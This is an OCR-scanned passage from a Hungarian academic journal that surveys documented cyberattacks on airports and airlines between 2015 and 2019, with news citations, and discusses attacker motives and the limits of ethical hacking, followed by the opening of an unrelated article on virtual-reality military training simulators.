wich Nemzetkozi Repiil6tér weboldalat 2015 szeptemberében, a Norfolk és Norwich
Egyetemi Kérhaz weboldalat pedig 2015 novemberében. A tamadas soran készitett
videokat feltette a YouTube videdmegosztd oldalra, amelyekben lépésrél lépésre
bemutatta a tamadasokat. Mivel kevés figyelmet forditott a biztonsagi megoldasokra,
a hatdsagok képesek voltak visszakodvetni az altala hagyott nyomokat, és &rizetbe
vették. A birdsagi targyalason elmondta, hogy el6szor tajékoztatta az érintett val-
lalatokat, azonban azok figyelmen kiviil hagytak az emailjeit. A repiil6tér weboldala
harom napig nem volt elérhet6 a tamadas kdvetkeztében, az okozott kart kozel 37
ezer GBP-re becsiilték.*

2 Penetration test, pentest.; Robert Horonjeff et alii: Planning & Design of Airports. McGraw-Hill Companies Inc.,
2010.

% Virus attack strikes at both Istanbul airports. Dogan News Agency, 2013. Elérhets: www.hurriyetdailynews.com/
virus-attack-strikes-at-both-istanbul-airports-51449 (A letéltés datuma: 2019. 10. 20.)

31 Catalin Cimpanu: Hacker “His Royal Gingerness” ailed for Cyber-Attack on UK Hospital, Airport. 2017. Elérhet6:
www.bleepingcomputer.com/news/security/hacker-his-royal-gingerness-jailed-for-cyber-attack-on-uk-hospi-
tal-airport/ (A let6ltés datuma: 2019. 10. 20.)
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3. Zaventem nemzetkézi repilétér, Briisszel, Belgium (2016.)

2016. marcius 22-én, a tobb mint 30 halalos aldozatot kdvetels, a Zaventem
repllStéren, illetve a Maalbeek metréallomasnal elkdvetett robbantasos ISIS*2-me-
rényletek utan egy pittsburgh-i, 14 éves tinédzser hackertamadast inditott a reptlStér
weboldala ellen. A tdmadassal kapcsolatban a hivatalos szervek kijelentették, hogy
a fiatal nem terrorista inditékkal kovette el az amugy sikertelen tdamadast, bar tovabbi
informaciét nem kozoltek annak céljarol.®
4. Perth replilGtér, Perth, Ausztralia (2016.)

A 2016 marciusaban végrehajtott tamadas soran egy vietnami személy, fel-
hasznalva egy beszallité hozzéaférési jogait, tdmadast inditott Ausztralia negyedik
legnagyobb repil&tere ellen. A replil6tér informatikai csapata értesitette az ausztral
kibervédelmi kdzpontot, valamint a rendérséget. Kozos erével megallapitottak
az elkdvetd személyét, illetve azt, hogy a tdmadas célja hitelkartyaadatok megszer-
zése volt, azonban a tdmadas soran végil csak a repiil6tér biztonsagi rendszerével
kapcsolatos iratokat szereztek meg. Radaradatok, illetve az utasok adatai nem
voltak veszélyben.?*

5. Heathrow repliilétér, London, Eqyestilt Kiralysag (2016.)

Bar nem kibertdamadas a most ismertetett eset, azonban mindenképpen meg
kell emlitentink véleményem szerint. A Heathrow repil6téren belsé nyomozast
inditottak, mivel Nyugat-Londonban talaltak egy pendrive-ot, amelyen 2,5 GB-nyi
biztonsagi informacioé volt. Az adatok kozott térképek, videok, dokumentumok
voltak, kdzte azon intézkedések, amelyekkel a brit kirdlynét és az altala hasznalt
repilétéri utat védték.*

6. Chopin replilétér, Varsé, Lengyelorszég (2016.)

2016 juniusaban a varséi Chopin replil6téren a repiilégépek foldi kiszolgalasat
tdmogatd —a LOT Lengyel Légitarsasag?® altal mikodtetett — informatikai rendszert
kibertamadas érte. A kibertamadas nem érintette a leveg6ben lév6 gépeket, de
a felszallasra tervezettek kozil 10 jaratot torolni kellett, illetve t&bb gép esetében
késések torténtek. Mintegy 1400 utast érintett, kozillik szamos utasnak hotelt
kellett keresnie.*’

7. Ho Si Minh-véros — Son Nhat és Hanoi — Noi Bai repiiléterek, Vietnam (2016.)

2016 juliusaban Vietnam két repiilStere, a Ho Si Minh-varosban talalhaté Son Nhat
és a Hanoiban talalhaté Noi Bai repiléterek elleni hackertdmadassal korilbelal 100
replil6gép menetrendjét befolyasoltak a tdmadok. Bar a repilSterek lizemeltetésében
kritikus rendszerelemekhez nem fértek hozza, a repilégépek indulasat és érkezését

3 |slamic State of Iraq and Syria, Irak és Sziria Iszlam Allama, ISIS.

* Belgium: Pittsburgh Youth Linked To Cyberattack On Brussels Airport. 2017. Elérhetd: https://pittsburgh.cbslocal.
com/2017/02/09/belgium-pittsburgh-youth-linked-to-cyberattack-on-brussels-airport/ (A letsltés datuma:
2019.10. 20.)

34 Warwick Ashford: Perth airport security plans stolen by Vietnamese hacker. 2017. Elérheté: www.computerwe-
ekly.com/news/450431587/Perth-airport-security-plans-stolen-by-Vietnamese-hacker (A letsltés datuma:
2019.10.20.)

3 Warwick i. m. (34. j.); Warwick Ashford: Heathrow to probe leak of security files. 2017. Elérhet6: www.computer-
weekly.com/news/450429079/Heathrow-to-probe-leak-of-security-files (A letoltés datuma: 2019. 11. 05.)

3% LOT Polish Airlines.

¥ Hacking attack grounds 1,400 passengers at Warsaw airport. Deutsche Welle, 2015. Elérheté: www.dw.com/en/
hacking-attack-grounds-1400-passengers-at-warsaw-airport/a-18530180 (A letsltés datuma: 2019. 11. 05.)
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mutato kijelzék hasznalhatatlanok voltak, a jegykezelést pedig manualisan végezték,
mivel a ,check-in" rendszer sem m(ikodott. A fenti okok miatt jelentds jaratkésések
alakultak ki.*®

1. abra

Vdrakozo utasok a Son Nhat repiilétéren a kibertdmadast kévetben.

Forras: More than 100 flight delayed due to cyber-attacks at Vietnam'’s airports. 2016. Elérhet6: www.
thanhniennews.com/society/more-than-100-flight-delayed-due-to-cyberattacks-at-vietnams-airports-64772.
html (A let6ltés datuma: 2019. 11. 05.)

8. Bécs replilétér, Ausztria (20176.)

2016 szeptemberében egy torok hackercsoport inditott tdmadast a bécsi repiilStér
informatikai rendszere ellen, a csoport bejelentése szerint mintegy valaszul az iszlam
és a torok nemzet elleni tdmadas miatt. Az osztrak hatosagok szerint a tamadasi
kisérletet sikerilt elharitani.®

3 More than 100 flight delayed due to cyber-attacks at Vietnam's airports. 2016. Elérhetd: www.thanhniennews.
com/society/more-than-100-flight-delayed-due-to-cyberattacks-at-vietnams-airports-64772.html (A letéltés
datuma: 2019. 11. 05.)

3 Turkish hacker group says it was behind airport cyber attack. 2016. Elérhet6: www.thelocal.at/20160908/tur-
kish-hacker-group-claims-responsibility-for-cyber-attack-on-airport (A letoltés datuma: 2019. 11. 05.)
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9. Boryspil nemzetkézi repiilétér, Kijev, Ukrajna (2017.)

2017 juniusaban Ukrajna szamos vallalatat és szervezetét érte hackertamadas.
A kormanyzati szervek mellett a Nemzeti Bank és mas nemzeti hitelintézetek, az ukran
Posta, az Antonov repiilégépgyar, a Csernobil zart zéna, valamint a Kijevben talalhaté
Boryspil nemzetkozi repiil6tér is a tamadas aldozatava valt. Ebben az esetben a repli-
l6tér hivatalos weboldala valt elérhetetlenné, illetve nem miikddtek a repilégépek
induldsat és érkezését mutato kijelzék.*°
10. Hartsfield-Jackson nemzetkézi repiilétér, Atlanta, USA (2018.)

A repulétér ellen elkdvetett tdmadast ,valtsagdij” megfizettetése érdekében
kovették el. Azért, hogy elkeriiljék a teljes rendszeren térténd elterjedést, a repulétér
biztonsagi megoldasként lekapcsolta a wifihalézatat. [gy képesek voltak megvédeni
nemcsak a sajat rendszereiket, de a repulétéri szolgaltatdk és az utasok eszkozeit,
rendszereit is.*'

11. Cleveland Hopkins nemzetkozi replilétér, Cleveland, Egyestilt Kiralység (2018.)

A tdmadas eredményeképpen a repilétér e-mail-fiokja, az utasinformacios
és a csomagokkal kapcsolatos kijelzék valtak hasznalhatatlanna. A hivatkozott forras
szerint zsaroldvirussal tortént a tamadas, a kovetelt 6sszeget bitcoinban kérték.*
12. British Airways légitdrsasag (2018.)

2018. augusztus 21. — szeptember 5. kozott |étezett egy biztonsagi rés a légitar-
sasag weboldalan és mobilapplikaciéjaban, amelynek révén szamos utas személyes
és pénziigyi (bankkartya) adata kertlt illetéktelen kezekbe. Az ellopott adatok kozott
nem voltak Utlevél- és utazasi informaciok.*

13. Air Canada légitarsasag (2018.)

A légitarsasag bejelentése alapjan 2018. augusztus 22. és 24. kdz0ott szokatlan
bejelentkezési tevékenységet észleltek, emiatt 1,7 millio felhasznaldi fidkot zéroltak.
E felhasznaloi fidkok kozil kb. 20 ezer fiok adatait lophattak el, amelyek tulajdonosait
tajékoztattak. A vizsgélat szerint azincidens egyik lehetséges oka az applikacié gyenge
jelszérendszere volt, mivel 6-10 karakterbél allo jelszavakat fogadott el, azonban
csak bet(it és szamot, specialis karaktert nem. A probléma azért valt sulyossa, mert
az ellopott adatok kdzott nemcsak a kiilénbdz6 okmanyok, bankkartyak szamai voltak,
de ezen okmanyok masolatai is elérhet6ek voltak, amennyiben az ligyfél feltoltotte
azokat. [gy ezen adatlopas kdvetkeztében az ligyfelek még akar bankkartyacsalassal
is szembesilhetnek a jovében.**

0 Lizzie Dearden: Ukraine cyber attack: chaos as national bank, state power provider and airport hit by hackers. In-

dependent, 2017. Elérhets: www.independent.co.uk/news/world/europe/ukraine-cyber-attack-hackers-na-
tional-bank-state-power-company-airport-rozenko-pavlo-cabinet-a7810471.html (A letoltés datuma:
2019.11.05.)

41 Joseph De Avila — Cameron McWhirter: Atlanta Hit With Cyberattack. The Wall Street Journal, 2018. Elérhet6:

www.wsj.com/articles/atlanta-hit-with-cyberattack-1521823062 (A letéltés datuma: 2019. 11. 05.)

Paul Orlousky: City officials: No hacking, no ransom demanded in Cleveland Hopkins International Airport malware

incident. 2019. Elérhetd: www.cleveland19.com/2019/04/26/live-ransomware-demand-is-behind-cyber-attack

-cleveland-hopkins-airport/ (A letoltés datuma: 2019. 11. 12.)

3 British Airways breach: How did hackers get in? BBC News, 2018. Elérheté: www.bbc.com/news/techno-
logy-45446529 (A letoltés datuma: 2019. 11.12.)

4 Air Canada app data breach involves passport numbers. BBC News, 2018. Elérheté: www.bbc.com/news/techno-
logy-45349056 (A letéltés datuma: 2019. 11.12.)

42
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14. Bristol repiil6tér, Bristol, Eqyesiilt Kiralysag (2018.)

2018 szeptemberében elkovetett tamadas kovetkeztében a repiilétéri utasinfor-
macids rendszer kijelz6i valtak hasznalhatatlanna, igy a repulétéri dolgozok tablak
segitségével probaltak az utasokat tajékoztatni mind a csomagfelvételrél, mind
az indulasi id6krél. A tamadas soran zsaroldvirust alkalmaztak az elkdvetdk, azon-
ban a repulétér illetékeseinek bejelentése alapjan nem kertlt kifizetésre semmilyen
0sszeg. A tdmadas altal okozott rendszerleallas két napig tartott, addigra sikerilt
azt helyreallitani. A repiil6tér vizsgalatot inditott annak kideritése érdekében, hogy
hogyan jutott be a virus a rendszerbe.**

!
L
|
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2. abra
Sziikségmegoldas az utasok tdjékoztatdsara a bristoli repiil6téren, a kibertamadast kovetden.
Forras: Wang i. m. (45. j.)

15. Cathay Pacific légitarsasag (2018.)

A Cathay Pacific légitarsasag esetében vizsgalat indult az utasok adatainak
helytelen kezelésével kapcsolatban, mivel az szamos utlevélszam, bankkartyaszam
kiszivargasat eredményezte.*

16. Isavia reptériizemeltetd véllalat, Reykjavik, Izland (2019.)

2019 juniusaban az izlandi Isavia vallalat weboldalat érte elosztott tulterheléses

tdmadas,*” amelynek eredményeképpen az oldal tobb érara elérhetetlenné valt.*®

4 Wang Wei: Ransomware attack takes down Bristol airport’s flight display screens. 2018. Elérheté: https://theha-
ckernews.com/2018/09/cyberattack-bristol-airport.html (A letdltés datuma: 2019. 11. 12.)

4 Cathay Pacific faces probe over massive data breach. Reuters. 2018. Elérheté: www.reuters.com/article/us-cat-
haypacific-cyber/cathay-pacific-faces-probe-over-massive-data-breach-idUSKCNINBOJY (A let6ltés datuma:
2019.11.12)

47 Distributed Denial of Service, DDoS.

48 Cyber attack on Isavia website. 2019. Elérhet6: www.isavia.is/en/corporate/news-and-media/news/cyber-at-
tack-on-isavia-website (A let6ltés datuma: 2019. 11.12.)
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17. Ben Gurion nemzetkozi repiilétér, Tel-Aviv, Izrael

A replil6téren az év minden napjan 24 6ras munkarendben egy informatikai
biztonsagi miveleti kozpont* lizemel, amelynek feladata a jelentds szamu tamadasi
kisérlet elharitasa. A kdzpont a repiil6tér és a hataratkeld biztonsagaért felel, de nem
felel8s a replil6tarsasagok biztonsagaért, az a sajat felel&sségiik. A forras szerint napi
3 millio tdmadasi kisérletet kell elharitaniuk, amelynek nagy része bot tdmadas.*®
18. A fedélzeti rendszer tdmadasa a replilés soran

Tobb publikacioban is megjelent, hogy voltak prébalkozasok a repiil6gépek rend-
szerébe torténd behatolasra. A Boeing cég nyilatkozata alapjan a repuilégép utasainak
szérakoztatasara kialakitott rendszer fliggetlen a replil6gép repulési és navigacios
rendszereit6l, azaz hamisak azok a kijelentések, hogy azon keresztiil tamadhatok
a létfontossagu rendszerek.”!
19. Repilil6téri biztonsagi rendszer szamitégépéhez torténd hozzaférés drusitasa

A McAfee biztonsagi cég fedezte fel és jelentette be, hogy egy orosz nyelv( online
piactéren feltort szamitdgépekhez tartozd hozzaféréseket arusitanak. E szamitdgépek
egyike egy amerikai repil6tér biztonsagi és épiletautomatizalasi rendszeréhez tartozo
szamitdgép, a vételar pedig 10 USD volt.>

Az ismertetett esetek elemzése és a repiilés elleni informatikai
tamadasok lehetséges okai

A repiilés elleni kibertamadas hatterében szamos ok allhat. A korabbi alfejezetben
felsorolt példak esetében ismertettem a lehetséges inditékokat, amelyek kdzott egy-
arant megtalalhato a kivancsisagbdl, a tamadd sajat tudasanak tesztelése érdekében
elkovetett tamadas, illetve ténylegesen blin6zdi célu, példaul valtsagdijért elkdvetett
tdmadas. Tobb esetben tortént az eltérd vallas vagy gondolkodasmaod miatti tdmadas is.

Az informatikai tamadasok esetében mindenképpen meg kell emliteni az etikus
hackertevékenység kérdését is. Szamos esetben lehet olvasni arrél, hogy az elké-
vet6 — mint az a 2. szamu esetben is tortént — az elsé tamadasok, behatolasok utan
tajékoztatta az érintett vallalatokat a biztonsagi résekrél. Egy adott idd elteltével
ellendrizte, hogy torténtek-e lépések a felfedett biztonsagi problémak megsziinte-
tésével kapcsolatban. Mivel nem tapasztalt valtozast, ujra és Ujra behatolt, ekkor
azonban mar modositasokat is végrehajtott. Ilyen esetek Magyarorszagon is torténtek,
kiilonbozd vallalatok vonatkozasaban. Az elkdveték védekezésil azt hangoztattdk,
hogy 6k jot akartak, illetve etikus hackerként tekintenek magukra. Ezen okok miatt

4 Security Operations Center, SOC.

0 Shoshanna Solomon: Israeli airports fend off 3 million attempted attacks a day, cyber head says. 2019. Elérhet6:
www.timesofisrael.com/israeli-airports-fend-off-3-million-attempted-attacks-a-day-cyber-head-says/ (A le-
téltés datuma: 2019. 11.12.)

' Evan Perez: FBI: Hacker claimed to have taken over flight’s engine controls. 2015. Elérhetd: http://edition.cnn.
com/2015/05/17/us/fbi-hacker-flight-computer-systems/index.html (A letsltés datuma: 2019. 11. 18.);

52 Michael Kan: Hackers Sold Remote Access to Major Airport for Only $10. 2018. Elérhetd: https://uk.pcmag.
com/news-analysis/116329/hackers-sold-remote-access-to-major-airport-for-only-10 (A letéltés datuma:
2019.11.18.)
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mindenképpen fontos tisztazni, hogy mi is az etikus hacker feladata, milyen hatarok
kozott tevékenykedik.

Az etikus hacker egy képzett informatikai szakember, aki rendelkezik a sziiksé-
ges ismeretekkel, nemcsak az elvégzendd feladat szakmai részével, de a vizsgalando
rendszerrel kapcsolatban is. ,,Az etikus hackerek allhatnak munkaviszonyban, valamely
vallalkozas alkalmazasaban, de kiils6s partnerként, megbizasi szerz6déssel is ellat-
hatjak feladataikat. Barmelyik foglalkoztatasi formaban is dolgoznak, a vallalkozas
és az etikus hacker kozott bizalmi kapcsolat jon létre, amelynek fenntartasa mind-
két fél érdeke, és amelyhez az etikus hacker részérél egy rendkiviil erés titoktartasi
kotelem tarsul.” A fentiek alapjan egyértelmien lathato, hogy az 6ncéluan, a sajat
ismeretek tesztelése, alkalmazasa soran egy adott rendszerbe torténé behatolas jogi
értelemben nem fogadhato el, annak jogi kdvetkezményei aldl a felfedett sériilékeny-
ség bejelentése sem mentesit. Fontos azt is figyelembe venni, hogy a teljes rendszer
ismeretének hianyaban az is el6fordulhat, hogy tudtan kiviil a behatold a rendszerben
komoly problémat general.

Itt kell megjegyezni, hogy Magyarorszagon lehet&ség van a feltart informatikai
biztonsagi rések anonim modon térténd bejelentésére. Jelenleg ezt a Nemzetbizton-
sagi Szakszolgalat Nemzeti Kibervédelmi Intézet honlapjan keresztiil lehet megtenni.

A 3.szamu esetben véleményem szerint egyértelmden arrol beszélhetiink — és ezt
a nyilatkozatok is alatamasztjak —, hogy a fiatal megprobalt tgymond a ,zavarosban
halaszni”, azaz olyan id6pontban elkdvetni egy tamadast, amikor a felel&s szervezetek
valdszinlsithet6en mas problémaval vannak elfoglalva, ebben az esetben a robbantasok
utani helyzet feletti kontroll fenntartasaval, visszaszerzésével. Egy masik lehetséges
magyarazat pedig az lehet, hogy a kdoszban elkdvetett tdmadassal nem publikus
adatokhoz, informaciohoz akart volna hozzajutni.

Erdekes eset az adatok elvesztésével kapcsolatos 5. sz. incidens is. Ideélis esetben
az adatok lemasolas nélkil jutnak vissza az adatgazdahoz, azonban mivel ebben nem
lehetiink biztosak, a teljes védelmi rendszert at kell dolgozni, ami jelentds eréforrast
kot le, hiszen az Uj tervek kidolgozasat kévet6en a modositott eljarasokat be is kell
gyakorolni. Mindenképpen vizsgalni kell ilyen esetben, hogy a pendrive-ra az adatok
dokumentaltan kerdiltek-e fel, az hogyan kertilhetett ki az objektumbdl, illetve aggo-
dalomra ad okot az is, hogy a pendrive nem volt titkositva.

Az eltér6 gondolkodasmdéd, mas nemzet vagy ideoldgia elleni tdmadas példaja
a 8. szamu pontban bemutatott, a bécsi repil6tér ellen elkdvetett tamadas.

A 13. és 15. szamu esetek alapjan azzal a problémaval is foglalkozni kell, hogy
az egyes szervezetek vajon elegend6 eréforrasokat biztositanak-e az informaciébiz-
tonsagi kérdésekre, megfelel§ védelmi megoldasokat alkalmaznak-e.

A tobbi esetben egyértelm(en a zsarolassal torténé pénzszerzés volt az inditék,
emiatt szerepelt a célok kdzott példaul a hitelkartyaadatok, személyes informacidk
megszerzése. A kibertdmadasokat altalanossagban elemezve kijelenthetd, hogy

%3 Horvath Katalin: Az etikus hacker szerzéi jogi kockazatai. Iparjogvédelmi és Szerz6i Jogi Szemle, 11. (2016), 4. 44—
58. Elérhetd: www.sztnh.gov.hu/sites/default/files/files/kiadv/szkv/szemle-2016-04/03-horvathkatalin.pdf (A le-
toltés datuma: 2020. 01.15.)
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e tamadasok célja elsédlegesen pénziigyi adatok megszerzése. Egy 2018-ra vonatkozé
elemzés szerint a kibertdmadasok 76%-a iranyult erre a teriletre.>*

A kiilonbozé célokat tobbféleképpen lehet csoportositani, én a kutatasaim
eredményeinek, valamint a korabban elvégzett ,Etikus hacker” tanfolyamon szerzett
ismereteim felhasznalasaval az alabbiak szerint kategorizaltam:

+ pénzszerzés;

+ informacidszerzés;

+ sajat tudas, képesség tesztelése:

- elismertség;

- tapasztalatgydjtés;

- er6fitogtatas;

- hibafeltaras;
+ politikai, ideoldgiai, vallasi ok;
+ szandékos karokozas.

A fenti felsorolas nem tiikrozi az incidensek tipus szerinti elosztasat, mivel - figye-
lembe véve a korabbi tapasztalatokat — nagyon nehéz pontosan megallapitani a valds
tdmadasok szamat. Ennek tobb oka is van, egyrészt nem minden esetben derdl fény
az elkdvetett kibertamadasra, masrészt, ha a felhasznalénak fel is tlinik, hogy valami
nincsen rendben a rendszerével, nem biztos, hogy uténajar a dolognak, amennyiben
a rendszere tovabbra is hasznalhato. Erre egy példa az alabbi eset.

Az amerikai kormanyzat, az amerikai repllési szervezetek és cégek, valamint
arepiilésben dolgozd személyek (pildtak, legiiranyitdk, mérnokok stb.) altal izemeltett,
1976-ban létrehozott, de azéta mar nemzetkozivé valt Légi Kozlekedési Biztonsagi
Jelentési Rendszer>> adatbazisaban 2020. 04. 19-én a kibertamadassal kapcsolatos
keresészavak®® alkalmazasa soran a virus széra kaptam egyetlen informatikaval 6ssze-
fugg6 taldlatot. A 2018-ban, USA-ban tortént eseményrél késziilt jelentés alapjan
egy adatbazist tarolo eszkoz valoszinlileg virussal fert6z8dott, azonban ez nem volt
tényszer(ien alatdmasztva, a jelentésben szerepel, hogy valaki mondta ezt a bejelen-
tének. A bejelentd a napi munkaja soran latta, hogy az egyik ilyen eszkdzre kézzel
irott papirra van felirva, hogy senki ne hasznalja, azonban ez a papir néhany nap mulva
mar nem volt az eszk6zon. A bejelent6 allitasa szerint a papirt akar a szél is lefuj-
hatta. A bejelenté nem tudta, hogy azok a repiilégépek, amelyekre ezt az adatbazist
feltoltoltotték, megfert6z6dhettek-e a virussal, illetve ha igen, az milyen hatassal
lehet a navigacios berendezésekre. A jelentés nem tér ki arra, hogy tettek-e tovabbi
lépéseket az esettel kapcsolatban. Mivel a bejelent6 nem tudta, mi lenne a teendé,
jelezte az esetet az ,,Uzemeltetésnek”.

** Rob Mardisalu: 74 Most Alarming Cyber Security Statistics in 2019. 2020. Elérhetd: https://thebestvpn.com/cy-
ber-security-statistics-2019/ (A letoltés datuma: 2020. 04. 19.)

55 Aviation Safety Reporting System, ASRS.

6 Cyber, IT attack, malware, ransome, virus.

7 1508587 szamu jelentés. Aviation Safety Reporting System. Elérhetd: https://titan-server.arc.nasa.gov/ASR-
SPublicQueryWizard/QueryWizard_Filter.aspx (A letoltés datuma: 2020. 04. 19.)
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Kovetkeztetések

Szamos esetleirast lehet talalni a replilés egyes elemei ellen elkdvetett kibertamada-
sokrol, amelyeket a fentiekben ismertettem. Véleményem szerint azonban tovabbi
olyan esetek is lehetnek, amikor nem tortént bejelentés, vagy észre sem vették, hogy
kibertdmadas tortént az adott rendszer ellen. Ennek oka lehet egyrészt a felhasznalok
képzetlensége, azaz fel sem ismerik az drulkodo¢ jeleket, masrészt a védelem kiala-
kitasanak és fenntartasanak koltségei miatt a védelmi megoldasok hidnya. Szamos
felmérés igazolta, hogy a legtobb felhasznald — ebbe beleértve a maganszemélyeket
és a vallalatokat egyarant — az informatikaval kapcsolatos védelmi koltségeket alta-
laban megprobalja alacsony szinten tartani.

Problémat jelent az is, hogy az elektronikai és informatikai rendszerek fejlédése
toretlen, egyre jobban kdrbevesznek minket ezen eszkdzok és rendszerek kdzotti halo-
zatok, amelyek szdmos sériilékenységgel rendelkeznek. A sériilékenységek kiakndzasara
szamos modszer létezik, az alkalmazando eljarasokra a kiilénb6zé internetes féorumo-
kon, weboldalakon kdnnyen lehet oktatdanyagot taldlni. Szamos leirasban olvashaté
az, hogy az egyes, hackerkedéssel foglalkoz6 személyek férumokrol, videdmegosztd
oldalakrdl szerzik ismereteiket, illetve itt osztjak meg tapasztalataikat.

Véleményem szerint a repiilés elleni kibertdamadasok ellenszerét — hasonléan
a mas rendszerek ellen elkdvetett kibertdmadasok elharitasahoz — ebben az esetben
is a hatékony biztonsagi rendszerek alkalmazasanak és a felhasznalék magas szintl
informatikai ismeretének 6tvozése jelenti. Véleményem szerint a felhasznaldk — ebbe
beleértve a maganszemélyeket és a vallalatokat is — gondolkodasmdédjaban jelentés
valtozast kell elérni, mivel mindenkinek el kell fogadnia, hogy a megfeleld védelem
megvalositasa alapvetd elvaras az informatikai rendszerek vonatkozasaban. Ugyan-
ezen felhasznalokkal azt is el kell fogadtatni, hogy nem elég beszerezni a védelmi
rendszereket, azokat naprakészen kell tartani és megfeleld tudassal tizemeltetni kell.
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Virtualis valosag alapu taktikai
szimulacios kiképzdeszkozok hazai
fejlesztési lehet8ségei I. rész:
Technologiai attekintés

Domestic Development Opportunities of Tactical
Simulation Training Devices based on Virtual Reality, Part I:
Technological Overview

Az informatika és mikroelektronika technolégiai fejlédésével a virtualisvalosag-
eszk6zok egyre hatékonyabba valnak, egyre nagyobb beleélést, a valosag egyre
allamok katonai és rendvédelmi szervezetei mar tobb mint egy évtizede kezdték
el alkalmazni kiilonboz4 teriileteken. Jelen tanulmanyban azt kivanom igazolni,
hogy ez a technoldgia mara elérte azt a fejlettségi szintet és modularitast, amikor
alkalmazott kutatasok eredményeként olyan sajat eszkézoket tudunk fejleszteni,
amelyek akar nemzetkozi szinten is piacképes alternativat jelenthetnek a magas
koltségli rendszerekkel szemben, és amelyekkel a kiképzés bizonyos teriiletei for-
radalmasithatok. A cikksorozat elsé részében azoknak a kénnyen hozzaférheté
termékeknek és technolégidknak jellemzgit vizsgalom, amelyek az ilyen irdnyd
torekvéseket hatékonyan képesek tamogatni.

Kulcsszavak: virtualis valosag, harcaszati szimulacio, szimulacio, gyakoroltato esz-
koz, kiképzés

Through the recentimmense development in information technology and microelec-
tronics, virtual reality (VR) devices have become increasingly sophisticated, providing
close-to-real life experiences. VR technology has proved to be an essential training
tool in various military and law enforcement applications for over a decade. My arti-
cle series is aimed at uncovering the remarkable in-house development possibilities
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based on the modular nature of this technology. Through applied research, these
state-of-the-art VR platforms may deserve international recognition and also have
the potential to revolutionise certain components of military training. In the first
part of my series, my objective is to give an overview of easily accessible products
and technologies that enable us to turn the above mentioned goals into reality,
whereas the second part is intended to compare the key parameters and capabil-
ities of these solutions and modules with the characteristics of different training
areas. In addition, my articles also discuss certain further prerequisites of successful
in-house national developments.

Keywords: Virtual Reality (VR), tactical simulation, military training, law enforce-
ment training

Bevezetés

A katonai és rendvédelmi szervek személyi allomanyanak kiképzése, komplex felada-
tokra, valds szituaciokra torténd életszer(i felkészitése és a kapcsolddé eljarasrendek
begyakoroltatasa eszkdz-, anyag- és idSigényes folyamatokat jelent. A rendszeresitett
haditechnikai eszkdzok hasznalatara torténd felkészitést tdmogatd kiilonbozé szimula-
cios, gyakoroltato rendszereket kiilfoldrél, dragan szerzik be, mig az éles vagy szimulalt
l6gyakorlatok esetén a kiildnleges, magasabb szintli készségeket fejleszté kiképzési
formak nem érhetdk el a teljes allomany szamara, illetve azok nehezen illesztheték
be a jelenlegi kiképzési gyakorlatba. A katonai és rendvédelmi szervek alegységeinek
harci, beavatkozasi, tulélési képességei egyértelmiien fiiggenek az egyes emberek
képzettségének szinvonalatol. A kiképzés és felkészités modern technoldgiakkal valo
tamogatasa — beleértve a virtualis valdsag (Virtual Reality — VR) szimulacids eszko-
z0ket — és az ehhez igazitott képzési tervek bevezetése koltséghatékony megoldast
jelenthet, és mérhet6 képességndvekedéssel jarhat a Magyar Honvédség, valamint
a rendvédelmi szervek szamara egyarant. A teriilet modernizacios torekvéseivel
kapcsolatban figyelembe kell venniink, hogy a civil szféra fejlesztési és termelési
képességének gyorsuldsat a hazai haditechnikai kutatas-fejlesztés csak részlegesen,
illetve csak késve koveti le, ami nemcsak gazdasagi okokbdl, hanem a polgari célu
fejlesztések technoldgiai és modszertani fokuszanak eltolddasabol is adddik. A kiilén-
b6z6 szimulaciok, ideértve a virtudlisvaloésag-szimulacidkat is, elterjed6ben vannak
a katonai kiképzés teriiletén, és mar hazankban is talalhato ilyen eszkozt alkalmazé
szimuldtorkézpont, példaul Szolnokon.? Az ilyen szimuldtoroknak elsésorban a repii-
lésben van nagy hagyomanya, ott a szimulacié mint képzési, kiképzési eszkdz mar
1910 koril megjelent, amikor az elsé fahordokbol dsszeallitott mechanikus repii-
|6gép-szimulatort megépitették és pilotak képzésére hasznaltak.? Azdta a szimulacios
gyakoroltato berendezések a pilotaképzés szerves részét képezik, olyannyira, hogy ezek

¢ Trautmann Baldzs: Képzelt repiilés. 2019. Elérhetd: https://regi.honvedelem.hu/cikk/115528_kepzelt_repules
(A letoltés datuma: 2020. 05. 20.)

® P. Adorian — W. Staynes — M. Bolton: The Evolution of the Flight Simulator. London, Royal Aeronautical Society,
1979.
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a gyakorlati képzésben elfogadottak valds repiilt érak bizonyos mértékd kivaltasara.*
A katonai, rendvédelmi szervek dllomanyanak harcaszati, taktikai és l6kiképzésének
VR-szimulacidval valé tdmogatottsaganak mértéke ugyanakkor ettél a szinttél még
messze elmarad, holott jelent&sége megkérddjelezhetetlen. Alkalmazasuk megteremti
a lehet8ségét, hogy a személyi allomany egyéni készségeinek és kollektiv képessége-
inek (koltség)hatékony és biztonsagos fejlesztésén keresztil noveljiik az alegységek
hadrafoghatodsagat, harcértékét. Az alapkészségek kozil talan a legfontosabb — beosz-
tastol, az alkalmazott technoldgiaktol, a rendelkezésre allo eszkdzoktol vagy fizikai
erénléttél figgetlenil — a l6készség, a biztonsagos fegyverhasznalat, beszéljiink akar
tamado célu, akar onvédelmi fegyverhasznalatrol, vagy az allampolgarok életének
védelmérél. Az Amerikai Tengerészgyalogsag 29. parancsnokatél (General Alfred
M. Gray Jr.) hangzott el az a gondolat, hogy minden tengerészgyalogos mindene-
kel6tt és els6sorban l6vészkatona. A szalldigévé valt mondas hangoztatdsat mara
ugyan inkabb mar mell6zik, mivel a lovész fegyvernem érdemeit latszik kisebbiteni,®
ugyanakkor, az idézet lényegi elemét vizsgalva korabbi gondolatomat erésiti meg,
miszerint a katonai és rend6ri allomany esetében egyarant a fegyverhasznalatra vald
készségek megléte és szinten tartasa a tulélés sikerének alapvetd zaloga. A VR-alapu
kiképzérendszerek a fenti készségek kialakitasat (oktatasat), a begyakorlast (kiképzést)
és a szinten tartast egyarant képesek hatékonyan (helyszin, id6, human eréforras, eszkoz,
|6szer, Gzemeltetési, fenntartasi koltség) tamogatni a hagyomanyos kiképzési formak
eszkOztaranak kiegészitésével és aranyanak csokkentésével. Jelen irasban ugyanakkor
nem célom bizonyitani a virtualis valésaggal tamogatott kiképzés hatékonysagat,
mivel egyrészt ezek valos korilmények kozti vizsgalatahoz még nem rendelkeziink
elég gyakorlati tapasztalattal, az ilyen rendszerek felhasznaldsa még csekély mértékd,
terjedésiik ugyanakkor folyamatos,® masrészt kiilféldon tobb rendvédelmi és katonai
szervezetben foglalkoztak mar tudomanyos igényességgel a benniik rejlé lehet&ségek
elméleti vizsgalataval.” Célom ramutatni arra, hogy ilyen rendszereket a kereskedelmi
forgalomban is beszerezhet6 modulokbdl, hazai szoftver- és hardverfejlesztd, illetve
